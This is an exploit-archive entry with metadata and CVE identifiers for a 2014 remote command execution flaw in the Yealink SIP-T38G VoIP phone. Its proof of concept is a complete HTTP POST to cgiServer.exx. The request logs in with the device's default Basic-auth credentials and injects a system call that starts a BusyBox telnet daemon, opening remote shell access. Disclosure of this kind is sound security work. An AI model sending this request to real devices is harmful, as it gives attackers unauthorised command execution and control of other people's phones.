Yealink VoIP Phone SIP-T38G - Remote Command Execution

Author: Mr.Un1k0d3r
type: remote
platform: hardware
port: 
date_added: 2014-06-13 
date_updated: 2014-06-13 
verified: 0 
codes: CVE-2013-5759;CVE-2013-5758;OSVDB-108080 
tags: 
aliases:  
screenshot_url:  
application_url: 

Title: Yealink VoIP Phone SIP-T38G Remote Command Execution
Author: Mr.Un1k0d3r & Doreth.Z10 From RingZer0 Team
Vendor Homepage: http://www.yealink.com/Companyprofile.aspx
Version: VoIP Phone SIP-T38G
CVE: CVE-2013-5758

Description:

Using cgiServer.exx we are able to send OS command using the system
function.

POC:

POST /cgi-bin/cgiServer.exx HTTP/1.1
Host: 10.0.75.122
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4= (Default Creds CVE-2013-5755)
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

system("/bin/busybox%20telnetd%20start")



--
*Mr.Un1k0d3r** or 1 #*